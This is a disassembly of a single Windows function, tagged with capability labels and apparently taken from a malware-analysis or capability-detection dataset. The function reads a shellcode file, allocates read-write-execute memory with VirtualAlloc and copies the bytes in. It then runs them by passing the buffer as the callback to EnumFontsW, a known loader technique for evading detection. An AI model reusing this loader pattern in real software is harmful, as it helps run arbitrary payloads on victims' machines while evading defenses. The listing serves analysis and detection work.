Function at 0x401220
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403888
mov eax, dword fs:[0]
push eax
sub esp, 0xe8
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0xec]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xec]
call fcn.004020a0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xec]
mov eax, dword [ebp - 0xec]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x4012b4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_shellcode_file
push 0x4027f0
call fcn.004025d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 1
jmp 0x401464
push 2
push 0
push 0
lea ecx, [ebp - 0xec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
lea ecx, [ebp - 0xec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov ecx, dword [ebp - 0x2c]
xorps xmm0, xmm0
mov edx, dword [ebp - 0x28]
mov edi, ecx
add edi, dword [ebp - 0x34]
mov eax, edx
movq qword [ebp - 0x1c], xmm0
adc eax, dword [ebp - 0x30]
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
test edi, edi
je 0x40138c
cmp edi, 0x7fffffff
ja 0x40148d
cmp edi, 0x1000
jb 0x401359
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x401492
push eax
call fcn.00402b1c
add esp, 4
test eax, eax
je 0x401454
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x401364
push edi
call fcn.00402b1c
add esp, 4
mov esi, eax
push edi
lea ebx, [esi + edi]
mov dword [ebp - 0x1c], esi
push 0
push esi
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0x14], ebx
call sub.VCRUNTIME140.dll_memset
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
mov dword [ebp - 0x18], edi
jmp 0x40138e
xor edi, edi
mov byte [ebp - 4], 1
add ecx, dword [ebp - 0x34]
adc edx, dword [ebp - 0x30]
push edx
push ecx
push esi
lea ecx, [ebp - 0xec]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xdc]
call fcn.00402480
test eax, eax
jne 0x4013ce
push eax
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0xec]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 0x40
push 0x1000
sub edi, esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xf0], eax
test eax, eax
jne 0x40140e
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_allocate_memory_for_shellcode
push 0x4027f0
call fcn.004025d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 1
jmp 0x401434
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push dword [ebp - 0xf0]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EnumFontsW]
xor edi, edi
test esi, esi
je 0x401464
sub ebx, esi
mov eax, esi
cmp ebx, 0x1000
jb 0x40145a
mov esi, dword [eax - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40145a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ebx
push esi
call fcn.00402b4c
add esp, 8
lea ecx, [ebp - 0xec]
call fcn.004014a0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402b0e
mov esp, ebp
pop ebp
ret
call fcn.00402a70
call fcn.004010d0
int3